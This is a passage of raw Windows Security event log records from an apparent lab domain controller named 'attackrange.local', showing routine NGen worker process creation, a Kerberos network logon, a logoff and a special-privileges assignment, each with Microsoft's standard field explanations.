C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 930 -InterruptEvent 0 -NGENProcess 9f0 -Pipe 870 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255343 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xea4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a94 -InterruptEvent 0 -NGENProcess a44 -Pipe a6c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255342 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc2c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a44 -InterruptEvent 0 -NGENProcess a64 -Pipe a78 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255341 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc58 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a98 -InterruptEvent 0 -NGENProcess a64 -Pipe a9c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255340 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x2EB709 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:09:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255339 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x2EB709 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 62558 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:09:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255338 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x2EB709 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:09:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255337 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdd4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9fc -InterruptEvent 0 -NGENProcess a64 -Pipe a88 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255336 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd2c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a64 -InterruptEvent 0 -NGENProcess a44 -Pipe a28 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255335 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x940 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9fc -InterruptEvent 0 -NGENProcess a44 -Pipe 81c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255334 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf6c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a44 -InterruptEvent 0 -NGENProcess a6c -Pipe a74 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255333 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1314 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a6c -InterruptEvent 0 -NGENProcess a54 -Pipe a70 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255332 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11bc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a44 -InterruptEvent 0 -NGENProcess a54 -Pipe a58 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255331 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1398 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a54 -InterruptEvent 0 -NGENProcess a50 -Pipe a2c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255330 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13b8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a5c -InterruptEvent 0 -NGENProcess 9c0 -Pipe a60 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255329 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb28 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 81c -InterruptEvent 0 -NGENProcess 9c0 -Pipe a40 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255328 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11a8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9c0 -InterruptEvent 0 -NGENProcess a28 -Pipe a24 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255355 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x674 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent acc -InterruptEvent 0 -NGENProcess a44 -Pipe ac8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255354 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13b0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent ab8 -InterruptEvent 0 -NGENProcess a84 -Pipe aac -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255353 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1124 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a84 -InterruptEvent 0 -NGENProcess ab8 -Pipe a68 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account 